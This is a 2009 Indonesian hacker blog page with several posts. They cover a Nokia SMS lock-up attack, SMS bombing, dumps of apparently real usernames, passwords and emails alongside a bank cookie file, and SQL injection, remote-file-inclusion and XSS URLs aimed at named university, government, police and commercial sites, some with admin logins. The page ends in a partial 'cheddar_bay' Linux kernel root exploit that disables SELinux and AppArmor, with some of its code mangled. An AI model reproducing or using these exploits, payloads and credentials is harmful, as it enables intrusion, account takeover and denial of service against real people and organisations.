_____  __     _____  ___    _____  ___    _____  _____  _____  _____  _____  _____    _____  _____    ____   _____  _ _ _  _____ 
|   __||  |   |  |  ||_  |  |   | || | |  |   __||   __|| __  ||  |  ||   __|| __  |  |     ||   __|  |    \ |     || | | ||   | |
|   __||  |__ |  |  | _| |_ | | | ||_  |  |__   ||   __||    -||  |  ||   __||    -|  |-   -||__   |  |  |  ||  |  || | | || | | |
|_____||_____| \___/ |_____||_|___|  |_|  |_____||_____||__|__| \___/ |_____||__|__|  |_____||_____|  |____/ |_____||_____||_|___|
               I DONT WANT TO BE FAME , I DONT WANT TO BE ANY EZINE , I JUST WANT TO SHARE KNOWLEDGE 

	 						
							                                  , ----.       ~ Fuck full-disclosure
							                              -  -     `        ~ Fuck the security industry
							                        ,__.,'           \      ~ Keep 0days private
							                      .'                 *`     ~ Hack everyone you can and then hack some more
							                     /       |   |     / **\    ~ Blend in.
							                    .                 / ****.   ~ Get trusted.
							                    |    mm           | ****|   ~ Trust no one.
							                     \                | ****|   ~ Own everyone.
							                      ` ._______      \ ****/   ~ Disclose nothing.
							                               \      /`---'    ~ Destroy everything.
							                                 \___(          ~ Take back the scene
							                                 /~~~~\         ~ Never sell out, never surrender.
							                                /      \        ~ Get in as anonymous, Leave with no trace.
							                               /      | \       ~ This your Fucking IP 
							                              |       |  \      ~ This your Fucking ISP  
							                    , ~~ .    |, ~~ . |  |\     ~ FUCK OFF I've got enough friends !!!!
							                   ( |||| )   ( |||| )(,,,)`    
							                  ( |||||| )-( |||||| )    | ^
							                  ( |||||| ) ( |||||| )    |'/
							                  ( |||||| )-( |||||| )___,'-
							                   ( |||| )   ( |||| )
							                    ` ~~ '     ` ~~ '











 



    

      
[ Blog ]

      
      
[ History ]

    

    

      

      







DDOS on Symbian

inilah kelemahan [bugs] ponsel symbian  jaman dulu . 
klo ga salah dulu tahun 2007-2008 lagi maraknya phreaking, sampai" orang bisa coba melakukan bombing sms , dengan memanfaatkan vendor bakrie , kenapa . karena bakrie cuma 1 perak /messege . jadi tinggal kamu connectin ponsel pake kabel dku yang support sama ponselmu. dan pake pc suit . lalu bombing si target terus menerus . lalu beranjak serangan VOIP , sampe ada orang yang niat bikin tools buat kacauin lalu lintas VOip . klo ga salah namanya tuh tools " Voip War" . dan pertengahan tahun pihak nokia kecolongan , sampe" terdapat bugs pada SMS nya . ada" aja . sms bisa sampe restart ponsel oranglain .

ayoo kita coba kembangkan kelemahan dalam nokia ponsel N dan S series
ternyata di selidik demi selidik ponsel nokia memiliki bugs dalam aplikasi messenger / sms
ternyata dengan mengirimkan 1 buah pesan pada korban,
dan ketika korban membuka pesan itu, maka handphone otomatis merestart sendiri
heueheuehue :P
lumayan klo masih bisa di coba. buat isengin temen yang sombong dengan ponselnya :D


catatan ponsel yang bisa terkena serangan ini

====================================================
S60 3rd Edition, Feature Pack 1 (S60 3.1) ( fixed ) 
Nokia E90 Communicator  ( Fixed ) 
Nokia E71 ( fixed ) 
Nokia E66 ( fixed )
Nokia E51
Nokia N95 8GB
Nokia N95
Nokia N82 ( fixed )
Nokia N81 8GB
Nokia N81
Nokia N76
Nokia 6290
Nokia 6124 classic
Nokia 6121 classic
Nokia 6120 classic
Nokia 6110 Navigator
Nokia 5700 XpressMusic

S60 3rd Edition, initial release (S60 3.0):
Nokia E70 ( fixed ) 
Nokia E65 ( fixed ) 
Nokia E62
Nokia E61i
Nokia E61
Nokia E60
Nokia E50
Nokia N93i
Nokia N93
Nokia N92
Nokia N91 8GB
Nokia N91
Nokia N80
Nokia N77
Nokia N73
Nokia N71
Nokia 5500
Nokia 3250

S60 2nd Edition, Feature Pack 3 (S60 2.8):
Nokia N90
Nokia N72
Nokia N70

S60 2nd Edition, Feature Pack 2 (S60 2.6):
Nokia 6682
Nokia 6681
Nokia 6680
Nokia 6630


==============================

persaratan untuk melakukan serangan

==============================

- MSISDN / no ponsel target 
- mobile phone contract dikirimkan ke SMS messages

===============================

dampak dari serangan

===============================

handphone korban tidak dapat menerima sms / mms pada siapapun
handphone harus di reset kembali ke dalam pabrikan
bilamana terjadi DDOS pada serangan ini , maka ponsel akan mati total

===============================

ringkasan serangan

===============================
Email dapat dikirim melalui SMS dengan mengatur pesan Protokol Identifier
untuk "Internet Electronic Mail" dan memformat pesan seperti ini:

  

Jika pesan tersebut mengandung  dengan lebih dari 32
karakter, S60 2.6, 2.8, 3.0 dan 3,1 perangkat tidak dapat menerima
lain pesan SMS atau MMS lagi. 2,6 dan 3,0 kunci perangkat setelah
hanya satu pesan, 2,8 dan 3,1 perangkat setelah 11 pesan.


dalam 3GPP TS 23,040 menentukan sebuah metode untuk mengirimkan email melalui SMS di
Bagian 3.8 ( "SMS dan Internet Electronic Mail interworking"). Dalam
bentuk yang paling dasar, seperti pesan SMS dimulai dengan dari-(MT-SMS) atau
ke-email-address (MO-SMS), diikuti oleh karakter spasi, dan kemudian
badan pesan. TP-Procotol-Identifier dari pesan SMS harus
set ke "Internet Electronic Mail" (nilai: 50 / 0x32).

Hal ini tidak ditentukan bagaimana pesan tersebut harus ditampilkan bila
diterima oleh telepon. Sebelum S60 2.6, perangkat Series60 ditampilkan seperti
pesan persis seperti mereka dikirim. Dimulai dengan S60 2.6, ketika
bagian dari pesan yang harus berisi alamat dari tampak
hal seperti alamat email (yakni berisi "@" di suatu tempat),
alamat ini kemudian ditampilkan sebagai pengirim pesan daripada
biasanya ditunjukkan TP-Originating-Address.

Jika alamat email ini lebih panjang dari 32 karakter, Series60 2.6, 2.8,
Perangkat 3,0 dan 3,1 gagal untuk menampilkan pesan atau memberikan indikasi
pada antarmuka pengguna bahwa pesan telah diterima. Mereka lakukan,
Namun, sinyal ke SMSC bahwa mereka menerima pesan dengan mengirimkan
sebuah RP-ACK.

Menjalankan perangkat S60 2,6 atau 3,0 tidak akan dapat menerima lain
Pesan SMS setelah itu. Antarmuka pengguna tidak memberikan
indikasi dari situasi ini. Satu-satunya tindakan untuk memperbaiki situasi ini
tampaknya merupakan Factory Reset perangkat (dengan memasukkan "* # 7370 #").

Menjalankan perangkat S60 2,8 atau 3,1 bereaksi sedikit berbeda: Mereka tidak
lock up sampai mereka menerima setidaknya 11 SMS-pesan email dengan
alamat email yang lebih panjang dari 32 karakter. Perangkat tidak
dapat menerima pesan SMS lain setelah itu - setelah menerima
pesan berikutnya, telepon hanya akan menampilkan peringatan bahwa terdapat
tidak cukup memori untuk menerima pesan dan yang lebih jauh data harus
dihapus terlebih dahulu. Pesan ini bahkan ditampilkan pada sebaliknya
benar-benar "kosong" perangkat.

Setelah mematikan telepon dan lagi, ia memiliki kemampuan terbatas
untuk menerima pesan SMS lagi: Jika menerima pesan SMS yang
dibagi menjadi beberapa bagian (3GPP TS 23,040, 9.2.3.24.1 Concatenated
Short Messages) itu hanya dapat menerima bagian pertama dan akan
menampilkan "tidak cukup memori" peringatan lagi. Setelah powercycling yang
perangkat lagi, hal itu dapat menerima bagian kedua. Jika ada ketiga
bagian, itu harus powercycled lagi, dan seterusnya.

Juga, penyerang sekarang hanya perlu mengirim satu lagi "Curse Of Silence"
pesan untuk mengunci telepon lagi. Dengan selalu mengirim satu lagi
segera setelah laporan status pengiriman pesan sebelumnya
diterima, penyerang dapat sepenuhnya mencegah target dari
lain menerima SMS / MMS pesan.

Hanya Pabrik Mengatur ulang perangkat akan mengembalikan pesan penuh
menerima kemampuan. Perhatikan bahwa, jika cadangan dibuat menggunakan Nokia
PC-Suite * setelah * diserang, pesan blocking juga
backup dan akan dikirim ke perangkat lagi ketika memulihkan
cadangan setelah Factory Reset.

Perhatikan bahwa tidak dapat menerima pesan SMS juga berarti tidak
dapat menerima pesan MMS, karena mereka memberi tanda dengan mengirimkan
Pesan SMS ke perangkat.

serangan pesan ini dihasilkan dengan telepon atau
selular modem yang mendukung 3GPP TS 27,005 AT perintah dan dengan paling
Ponsel Nokia juga langsung dari antarmuka pengguna. Sebagai contoh, pada
Perangkat S60, ketika dalam editor pesan, jenis pesan dapat
akan beralih ke "E-mail" di bawah "Options" -> "Pilihan pengiriman" ->
"Pesan dikirim sebagai". 6310i nyaman yang menawarkan "Menulis email" menu
entri pada menu pesan.

Bentuk yang paling sederhana konten untuk Kutukan Dari Diam akan menjadi sesuatu
seperti "123456789@123456789.1234567890123" (angka yang digunakan hanya untuk
menggambarkan panjang "alamat email" dari lebih dari 32
karakter). Perhatikan ruang pada akhir pesan! 



tapi pada awal tahun 2009 , pihak nokia telah meperbaiki kesalahan itu . 
selengkapnya bisa kalian baca disini 

http://www.informationweek.com/news/security/vulnerabilities/showArticle.jhtml?articleID=212903359

wadoww.. tahun 2009 ? coba deh pada ponsel tahun 2009 kebawah . atau coba target ke tipe motoQ . 


silahkan di explore sendiri
Labels: 



On 11/17/09 at 

11:50 PM





Discover Bank login dan citibank

nih login discover

bukanya pake SOAN yah cari di google

secure online account number

atau langsung kesini aja

https://deskshop.discovercard.com/thincard/main_thinclient.html 





# Netscape HTTP Cookie File
# http://curl.haxx.se/docs/http-cookies.html
# This file was generated by libcurl! Edit at your own risk.

.discovercard.com    TRUE    /    FALSE    1582122480    v1st    9AF2DEA1601913E1
www.discovercard.com    FALSE    /    FALSE    0    JSESSIONID    0001_A77vKhqLz5oVIguknk_wWx:1742ghb3o
www.discovercard.com    FALSE    /    TRUE    1417127621    VAR_VIEW    CLS
www.discovercard.com    FALSE    /    FALSE    0    TS7b9fc8    4e54067e0bd389bb2d081fe09bcc75e89f91b160ea2583845296734560ac0ec5a3bdec6f22975f62143c180322975f62143c180322975f62143c180322975f62143c180322975f62143c180322975f62143c180322975f62143c180322975f62143c1803
.discovercard.com    TRUE    /    FALSE    0    TSbe967e    290601cabf21a1db344b27a3c464b5b69f91b160ea258384529673457536793840de9345
.www.discovercard.com    TRUE    /    FALSE    0    DCID    www22



nih hasilnya



amberdevir - juggernaut66 - amberdevir@yahoo.com
TurinThalion - 99ninjas - AirAgorne@aol.com
andrewjacob - michelle - andrewjacobart@hotmail.com
kotkinshap - pacifica - niels.salien@gmail.com
luinverse - 99pewemolu - inverse@elp.rr.com
mad_cow - domination - jibitterman@yahoo.com
cbhero - paul96 - camerbri@gaggle.net
planck - planck21 - planck.planck@gmail.com
sandnumberone - panpan - sandnumberone@gmail.com
insipid - forge1 - nsipid@gmail.com
Voska - faderx34 - devonvg@gmail.com
dgood42 - kotor321 - shamoblue2@yahoo.com
ravenriser - grove099 - riser@elp.rr.com
bakert - sleague - bakert@gmail.com
raijinnfury - ratificks - freddyhome@gmail.com
SageShadows - 56586421193 - petguy1993@yahoo.com
Helghast - Samaris - helghast00@hotmail.com
Teythlis - Veydris - helghast00@hotmail.com
mightyie - corona - hjhome@live.com
WWharton - damian92 - Will.Wharton@gmail.com
leprechaun1066 - unrealtournament - leprechaun1066@gmail.com
inqao - inq97ao - inqao@yahoo.com
Boatwrights - chuckles - Boatwrights@cableone.net
Counterpart0 - akki539 - Counterpart0@yahoo.com
Egamage - MTG30081276leo - macthelet@yahoo.com
SquirralMaster - gopher - skeet124@hotmail.com
TheHunter13 - papercut - thehunterb@sbcglobal.net
Navorus - springfield - Iceavenger87@gmail.com
blazer89 - dannisasaki1 - raymundohispano@hotmail.com
RAkdosMaN - iforgot - manuelelloko@hotmail.com
evilragnarok - kawaii - evilragnarok@hotmail.com
N3V3RS4YDIE - loserdemon - soul-reaperxx@hotmail.com
fantom - schmitzzy - fantom666_22@yahoo.com
nut15987 - firball - nut15987@gmail.com
Icy2k - ti2000 - icemaster@gmail.com
Merainethal - firingline - ironempire@hotmail.com
ainsi_la_nuit - levar1981 - ainsi.la.nuit@gmail.com
dman123isback - Dragon911 - dman123isback@yahoo.com
Henning - op23kl45 - henning@alpin.no
tenix101 - qazqaz11 - tenix25@hotmail.com
tobiasdon - saibot28 - hidoby@gmail.com
Finisher09 - gam3cub3 - Finisher09@gmail.com
Soucalibur - hcpr1520 - philippe_bsp@hotmial.com
ghoulkeeper - deckhelp - gameaddict_01@yahoo.com
Yaholo - coramdeo - yaholo22@gmail.com
smurphya - smackox4 - spmurphy313@yahoo.com
Shmeckt - tacobell - caglenator@gmail.com
Cameron2008 - forest76 - c_banchero@yahoo.com
wolfie - camelot - 02b.on.the.field@gmail.com
Tymons - 123456 - tymonsx@hotmail.com
blackknight - 12345ww - jhight@san.rr.com
webgimpy - duh12345 - gimpy@gimpyworld.org
Strings - seiken - ayeaye000@hotmail.com
Cherryl3omb22 - 091804jc - cherrybomb@comcast.net
Cherryl3omb - 091804jc - cherrybomb22@comcast.net
cooron - zipped - ronrosco@gmail.com
jammy - kkkk - kingshady45@hotmail.com
Freecandygetinvan - 17thunit - solideye@gmail.com
Aidiano - cariad12 - aidey-aidan@lycos.com
gracjan202 - Rositsa00 - gracjan202@hotmail.com
demarki - enigma - demarki81@gmail.com
MikOnYOU - 1998 - makkee@mail.ru
SlicedSilence - inuyasha - SlicedSilence@hotmail.com
Ewing4686 - mtg46 - Ewing4686@aol.com
peruzy - abc123 - paz-daniel@hotmail.com
LordBritish2 - Kenneth2 - LordBritish2@gmail.com
skar93 - shadow - jerk_warrenwe@hotmail.com
Ramirez - gerwayz - ebs_admin@silesianet.pl
ebs_ramirez - gerwayz - ebs.remek@gmail.com
airburned - nhtfnhtf - airburned@yahoo.com
r1sefromru1n - n0s0up4u - gamente@hotmail.com
Begeisterung - cezhky - caterpie@comcast.net
eltoy - keylogger123 - eltoy.-@hotmail.com
Kalack - jesusnow - schemaman@gmail.com
fred - chaos4all - fredbailey@gmail.com
just_add_bellum - t0talw4r - just.add.bellum@gmail.com
jsek - absolution - lukky_13xxx@yahoo.com
raidercillo - chusko55 - raidercillo@gmail.com
luknight - magicluk - lpsantacruz@hotmail.com
onatlagazo - yhubyjhane - onatlagazo@yahoo.com
cpenner4 - poi1poi - cpenner4@gmail.com
joeyjoebobjoebob - jofuss - joeyjoebobjoebob@hotmail.com 





############################

nah kalau citibank

bukanya sama VAN yah

virtual account number

 ############################





rs.gtp@anbros.com:ikonkar
prasadojha@hotmail.com:gurudev
geojos06@yahoo.com:786000
mariaalirana@gmail.com:alisaputri
bz_ti@yahoo.com:6anglz
zacharyzadeer000@yahoo.com:iloveyou
dprasu@gmail.com:mallika143
rj_nivas@yahoo.com:mahalakshmi
m12_krishnan@yahoo.com:mahalakshmi
info@emedtex.com:binasiraj1
ashas721@hotmail.com:ash123
bibhuti_bhusan_mishra@yahoo.co.in:pintu123
transdinesh@yahoo.com:ronaldo
wonderfulll_2006@yahoo.com:ronaldo
rshnpant@yahoo.com:14141414
info@packet-switch.com:whosthestar
avisek_chakrabarty@yahoo.com:anubis
Phonesworldltd01@yahoo.com:123456
npunkz_17@hotmail.com:123456
kaushik@transtek-solutions.com:baghaba
uniquelife@gmail.com:29101251
christina_meti2006@yahoo.com:123456
niraj_ti@yahoo.com:nsnsns
little_prem2007@yahoo.com:100100
sudipnepal05@yahoo.com:dhdhdh
ranzeetz@gmail.com:ktmrocker
masculineage@yahoo.com:556617
sarad86@gmail.com:saradbhai
ravimannapit@gmail.com:4491615
sarfaraz.mohammad@gmail.com:interior
alekseyzyra@gmail.com:gabriel11150





kaborrrr 
Labels: 



 at 

6:59 AM





SmS bomb

heuehue :P

udahlama ga bombing" oranglain :D
teknik sms berantai dengan waktu yang sama ini mungkin agak terlalu over banget
soalnya kasian tuh yang kena sms bombnya
waktu dia mau buka sms , ternyata layanan inboxnya penuh ,
dan ketika di 1 pesan di hapus , makan pesan yang kita bombingnya akan terus menerus sampai handphone nya rusak / batere ponsel korban bisa ngedrop :P
nih vina kasih sedikit trik buat kalian yang mau jahil . tapi inget kan ini hanya untuk pembelajaran
hack to learn no be learn to hack . ok ;)
mari kita lanjutkan

=======================================================

persaratannya ini

=======================================================

hardware :
- Kabel dku-5 atau dku-2
- hp support dku-5 (3100,6100,3120,6610,etc) atau hp support dku-2 (7610,3230,6630,n70,etc)
- nomor hp victim ( lebih enak nomor victim THREE 3 ...sms sesama 3 gratis, atau bisa pake esia 1perak/messege :)) hahahahahha )
- nomor yng pulsanya masih full ..( 100 rb jadi lah :)) heueheue :P

software:
- pc suite nokia

cara:
- setelah tersambung hp dngan comp..ambil nokia text message editor
- isi to : dng nomor viktim secara berulang
- isi text terserah anda......
- klik send (berulang2)

=============================================================

bayangkan 1000 sms di kirim dalam waktu yang sama ke hp anda , apa yang terjadi
1000sms = 1000 perak = esia memang untuk anda :)) heueheu :P





tHx 

elv1n4
Labels: 



 at 

6:59 AM





Again, Indonesia Admin Site System Can not Fix The Vulnerability

It's almost 2 year Vuln On Multiple Sites University of Indonesia, and yet the government fix,
Where Are you Admin?
Relax and Sleep That You Work.
hmm ...
Maybe You Never Know The existence of attack that can be done by outsiders, Like Doing Data Manipulation, Changing Views, Even Removing All Server Data Until You Server will be Down,

Look here some sensitive cases,

======================
# Indonesian University Site #
======================

http://www.akademik.pasca.unpad.ac.id/
http://www.pps.fisip.unpad.ac.id/
http://www.uinjkt.ac.id/
http://www.unhas.ac.id/
http://www.unikom.ac.id/
http://www.upi.ac.id/
http://www.trisakti.ac.id/
http://ftip.unpad.ac.id
======================

Example ::

[universitas padjajaran bandung]

http://akademik.pasca.unpad.ac.id/
=======================================================
Nama Server: Apache/2.2.3 (Fedora). PHP/5.1.6
System : Linux pps2.unpad.ac.id 2.6.18-1.2798.fc6 #1 SMP Mon Oct 16 14:37:32 EDT 2006 i686
uid=48(apache) gid=48(apache) groups=48(apache)
========================================================

If That Site Have Bugs, ,, Whats Next ?? Wannabe :)) LoL .
-> RFI ATTACK
========================================================
http://akademik.pasca.unpad.ac.id/pasca/index.php?dir=http://www.a1e.es/templates/beez/vina.txt??
========================================================
Belive Me , this Site Have Been Powned .
Like This

http://akademik.pasca.unpad.ac.id/daftar_ver1/dir_uploads/waw.txt

Woo00psss...
I can make a student value manipulation, even I can make this site down..


Example II

http://www.trisakti.ac.id

username : admin
password : 662d187d55d6c5491f6619d99971dc74
email    : admin@trisakti.ac.id


Example III

http://www.stikom.edu

http://www.stikom.edu/v8/main.php?act=inf&goto=agd&id=-231+union+select+all+null,null,null,concat%28LOGIN,char%2858%29,PASSWD%29,EMAIL,null+from+user--


=======================================================
Ok Lets Tested Some Goverment Site ;)
=======================================================

http://Jakarta.go.id
http://bandung.go.id
http://utara.jakarta.go.id
http://kpu.go.id
http://www.djfm.co.id
http://www.petrokimia-gresik.com
http://www.ali.web.id
http://www.corbuziershop.com/

=======================================================
Example ::

http://Jakarta.go.id

Joomla --"

Lets see :

http://www.jakarta.go.id/v62/hah.txt

=======================================================
ok Lets Tested Entertaiment Site
=======================================================

www.indosiar.com
www.rcti.tv
www.an.tv
www.antvsports.com
www.sctv.co.id

=======================================================

Example ::

ANTV SITE
www.an.tv (SQLi)

http://www.an.tv/s/index.php?sid=5+AND+1=2+UNION+SELECT+load_file(0x2f6574632f706173737764),1--

http://www.an.tv/s/index.php?sid=5+AND+1=2+UNION+SELECT+concat(user,0x3a,password),1+FROM+mysql.user--

Lets See ..
Whats Next ?? Wannabe ? Lol :))

if you hate this site , i'll give you free...
taste it
======================
http://www.an.tv/cms

username : administrator
password : admin!@#123
email : nini@an.tv
======================
http://antvsports.com/cms

username : admin
password : admin123

======================

http://ww1.indosiar.com/investor/admin/

uname : admininvestor
password : password


======================================================
Lets Test The Comercial Site
======================================================

http://www.corbuziershop.com
http://www.wtcsby.com
http://www.fajar.co.id
http://www.jamsostek.co.id/
http://bjh.co.id/
=====================================================

example : corbuziershop.com (SQLi)

http://www.corbuziershop.com/shop/index.php?page=showproduct&id=-362+AND+1=2+UNION+SELECT+null,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27/*


example II : trubus

http://www.trubus-online.co.id/mod.php?mod=publisher&op=viewarticle&cid=4&artid=-1190%20union%20select%201,2,3,4,5,group_concat%28name,0x3a,pwd%29,7,8,9,10%20from%20authors--

example III : balita

http://info.balitacerdas.com/mod.php?mod=publisher&op=viewarticle&artid=-45%20union%20select%201,2,3,version%28%29,5,group_concat%28name,0x3a,pwd%29,7,8,9,10,11%20from%20authors--

example 4 :

http://www.tigapilar.org/mod.php?mod=publisher&op=viewarticle&cid=5&artid=-762%20union%20select%201,2,3,4,5,group_concat(name,0x3a,pwd),7,8,9,10%20from%20authors--

=======================================================
Ok Lets Test Goverment Police Site
======================================================
http://polri.go.id
http://lodaya.web.id
http://interpol.go.id
http://tni.mil
http://www.lantas.metro.polri.go.id
======================================================

Lets See ..

www.polri.go.id ( XSS )

http://www.polri.go.id/indexwide.php?op=perundangan&type=00&subtype=1%3E%22%3E%3CScRiPt%20%0D%0A%3Ealert%28440221011283%29%3B%3C/ScRiPt%3E




Next Lantas Polri
Taste ByYourself

http://www.lantas.metro.polri.go.id/intranet/
Username : Xploit
password : Xploit00

=====================================================

iam sorry iam not hacker too, but i wanna be ^_^
Maybe It is a little example, which can be used as a lesson for all.
For More Information , Please Contact Me , Feel Free !!


Thnx

./elv1n4
Labels: 



On 11/4/09 at 

12:16 AM





cheddar_bay xpl ^_^

-----------cute here ---------------------------
#!/bin/sh

killall -9 pulseaudio
if [ ! -f '/usr/sbin/getenforce' ]; then
 ./pwnkernel
else
 RESULT=`/usr/sbin/getenforce`
 if [ "$RESULT" != "Disabled" ]; then
   pulseaudio --log-level=0 -L /home/spender/exploit.so
 else
   ./pwnkernel
 fi
fi


------------paste here -------------------------------------

save file cheddar_bay.sh


-----------cute here------------------------------------------

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

/* on 2.6.30:
  sk_sndbuf is at 0x68
  sk_wmem_alloc is at 0x60
  sk_socket is at 0x140
  the above can change based on kernel configuration, blahblah
  I couldn't bother to recompile and compute the other sizes so kiddies
  may have to reduce the size of gibberish2 a bit

  flags is at offset 0x8 in sk_socket (on 2.6.30, on the RHEL5 2.6.18
                                       it's at offset 0x4)
*/

#ifdef RHEL5_SUCKS
#define OFFSET_OF_FLAGS 0x4
#else
#define OFFSET_OF_FLAGS 0x8
#endif

struct sock {
   char gibberish1[0x60];
#ifdef RHEL5_SUCKS
   char gibberish2[0xb0]; // this seems to do the trick ;)
#else
   char gibberish2[0xe0]; // gotta make sure this >> 1 is not >= above
#endif
   unsigned long gibberish3[0x50];
};

static void craft_sock(struct sock *sk, unsigned long target_addr)
{
   int i;
   memset(sk->gibberish1, 0, sizeof(sk->gibberish1));
   memset(sk->gibberish2, 0, sizeof(sk->gibberish2));
   for (i = 0; i <>gibberish3)/sizeof(sk->gibberish3[0]); i++)
       sk->gibberish3[i] = target_addr - OFFSET_OF_FLAGS;
}

static void or_one_to_kernel_address(unsigned long target_addr)
{
   struct sock *sk = NULL;
   int fd;
   struct pollfd pfd;

   craft_sock(sk, target_addr);

   fd = open("/dev/net/tun", O_RDWR);
   if (fd == -1) {
       fprintf(stdout, "UNABLE TO OPEN /dev/net/tun!\n");
       return;
   }
   pfd.fd = fd;
   pfd.events = POLLIN | POLLOUT;
   poll(&pfd, 1, 0);

   close(fd);

   fprintf(stdout, " [+] *%p |= 1\n", (void *)target_addr);
}

static unsigned long get_kernel_sym(char *name)
{
   FILE *f;
   unsigned long addr;
   char dummy;
   char sname[256];
   int ret;

   f = fopen("/proc/kallsyms", "r");
   if (f == NULL) {
       fprintf(stdout, "Unable to obtain symbol listing!\n");
       exit(0);
   }

   ret = 0;
   while(ret != EOF) {
       ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
       if (ret == 0) {
           fscanf(f, "%s\n", sname);
           continue;
       }
       if (!strcmp(name, sname)) {
           fprintf(stdout, " [+] Resolved %s to %p\n", name, (void *)addr);
           fclose(f);
           return addr;
       }
   }

   fclose(f);
   return 0;
}

/* fastcalls! */
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef int __attribute__((regparm(3))) (*_nf_unregister_hooks)(unsigned long *ops, int count);
typedef int __attribute__((regparm(3))) (*_unregister_filesystem)(unsigned long arg);

unsigned long *tun_mmap_fop;

unsigned long sel_fs_type;

unsigned long *mmap_min_addr;

int *audit_enabled;

int *ss_initialized;

int *selinux_enforcing;
int *selinux_enabled;
int *selinux_mls_enabled;

int *sel_enforce_ptr;

int *apparmor_enabled;
int *apparmor_logsyscall;
int *apparmor_audit;
int *apparmor_complain;

unsigned long *security_ops;
unsigned long default_security_ops;

unsigned long sel_read_bool;
unsigned long security_get_bool_value;
unsigned long sel_read_enforce;

_commit_creds commit_creds;
unsigned long init_cred;

_nf_unregister_hooks nf_unregister_hooks;
unsigned long * selinux_ipv4_ops;
unsigned long * selinux_ipv6_ops;

_unregister_filesystem unregister_filesystem;

int what_we_do;

unsigned int our_uid;

int got_root;

/* for RHEL5 2.6.18 with 4K stacks */
static inline unsigned long get_current(void)
{
   unsigned long current;

   asm volatile (
   " movl %%esp, %%eax;"
   " andl %1, %%eax;"
   " movl (%%eax), %0;"
   : "=r" (current)
   : "i" (0xfffff000)
   );
   return current;
}

static void old_style_gimme_root(void)
{
   unsigned int *current;
   unsigned long orig_current;

   current = (unsigned int *)get_current();
   orig_current = (unsigned long)current;

   while (((unsigned long)current < (orig_current + 0x1000)) &&         (current[0] != our_uid || current[1] != our_uid ||          current[2] != our_uid || current[3] != our_uid))         current++;      if ((unsigned long)current >= (orig_current + 0x1000))
       return;

   current[0] = current[1] = current[2] = current[3] = 0; // uids
   current[4] = current[5] = current[6] = current[7] = 0; // gids

   got_root = 1;

   return;
}


static int __attribute__((regparm(3))) own_the_kernel(void *a, void *b)
{
   // clean up after ourselves ;)
   if (tun_mmap_fop)
       *tun_mmap_fop = 0;

   if (audit_enabled)
       *audit_enabled = 0;

   // giggles
   //if (mmap_min_addr)
   //    *mmap_min_addr = 0;

   // disable apparmor
   if (apparmor_enabled && *apparmor_enabled) {
       what_we_do = 1;
           *apparmor_enabled = 0;
       if (apparmor_audit)
           *apparmor_audit = 0;
       if (apparmor_logsyscall)
           *apparmor_logsyscall = 0;
       if (apparmor_complain)
           *apparmor_complain = 0;
   }

   // disable SELinux
   if (selinux_enforcing && *selinux_enforcing) {
       what_we_do = 2;
       *selinux_enforcing = 0;
   }

   if (!selinux_enabled || selinux_enabled && *selinux_enabled == 0) {
       // trash LSM
       if (default_security_ops && security_ops) {
           if (*security_ops != default_security_ops)
               what_we_do = 3;
           *security_ops = default_security_ops;
       }
   }

   /* make the idiots think selinux is enforcing */
   if (sel_read_enforce || (sel_read_bool && security_get_bool_value)) {
       unsigned char *p;
       unsigned long _cr0;

       asm volatile (
       "mov %%cr0, %0"
       : "=r" (_cr0)
       );
       _cr0 &= ~0x10000;
       asm volatile (
       "mov %0, %%cr0"
       :
       : "r" (_cr0)
       );
       if (sel_read_enforce) {
       if (sizeof(unsigned int) != sizeof(unsigned long)) {
           /* 64bit version, look for the mov ecx, [rip+off]
              and replace with mov ecx, 1
           */
           for (p = (unsigned char *)sel_read_enforce; (unsigned long)p < (sel_read_enforce + 0x30); p++) {                 if (p[0] == 0x8b && p[1] == 0x0d) {                     p[0] = '\xb9';                     p[5] = '\x90';                     *(unsigned int *)&p[1] = 1;                     goto and_now;                 }             }         } else {             /* 32bit, replace push [selinux_enforcing] with push 1 */             for (p = (unsigned char *)sel_read_enforce; (unsigned long)p < (sel_read_enforce + 0x20); p++) {                 if (p[0] == 0xff && p[1] == 0x35) { #ifdef RHEL5_SUCKS                     // while we're at it, disable                     // SELinux without having a                     // symbol for selinux_enforcing ;)                     sel_enforce_ptr = *(unsigned int **)&p[2];                     *sel_enforce_ptr = 0;                     what_we_do = 2; #endif                     p[0] = '\x68';                     p[5] = '\x90';                     *(unsigned int *)&p[1] = 1;                     goto and_now;                 }             }         }         } and_now:         /*         if (sel_read_bool && security_get_bool_value) {         for (p = (unsigned char *)sel_read_bool; (unsigned long)p < (sel_read_bool + 0x300); p++) {             if (p[0] == 0xe8 && (((unsigned long)&p[5] + *(int *)&p[1]) == security_get_bool_value)) {                 *p = '\xa1';                 *(unsigned int *)(p + 1) = 1;                 goto next_part;             }         }         } next_part:         */         _cr0 |= 0x10000;         asm volatile (         "mov %0, %%cr0"         :         : "r" (_cr0)         );     }     /*     if (nf_unregister_hooks) {         if (selinux_ipv4_ops && *selinux_ipv4_ops) {             nf_unregister_hooks(selinux_ipv4_ops, 3);             *selinux_ipv4_ops = 0;         }         if (selinux_ipv6_ops && *selinux_ipv6_ops) {             nf_unregister_hooks(selinux_ipv6_ops, 2);             *selinux_ipv6_ops = 0;         }     }     */         //if (unregister_filesystem && sel_fs_type)     //    unregister_filesystem(sel_fs_type);      /* and now give ourselves full privileges */     if (commit_creds && init_cred) {         /* hackish usage increment */         *(volatile int *)(init_cred) += 1;         commit_creds(init_cred);         got_root = 1;     } #ifdef RHEL5_SUCKS      else {         // must be RHEL5 2.6.18         old_style_gimme_root();     } #endif      return -1; }  static void boom_goes_the_dynamite(void) {     char *mem;     int fd;      fprintf(stdout, " [+] b00m!\n");      fd = open("/dev/net/tun", O_RDONLY);      mem = mmap(NULL, 0x1000, PROT_READ, MAP_PRIVATE, fd, 0);      close(fd);      return; }  int pa__init(void *m) {     char *mem;     int fd;     int ret;      our_uid = getuid();      /* open it so we can have it auto-loaded and resolve its symbols        below     */     fd = open("/dev/net/tun", O_RDONLY);     if (fd == -1) {         fprintf(stdout, "UNABLE TO OPEN THE DEVICE!\n");         return 1;     }     close(fd);      if ((personality(0xffffffff)) != PER_SVR4) {         mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);         if (mem != NULL) {             fprintf(stdout, "UNABLE TO MAP ZERO PAGE!\n");             return 1;         }     } else {         ret = mprotect(NULL, 0x1000, PROT_READ | PROT_WRITE | 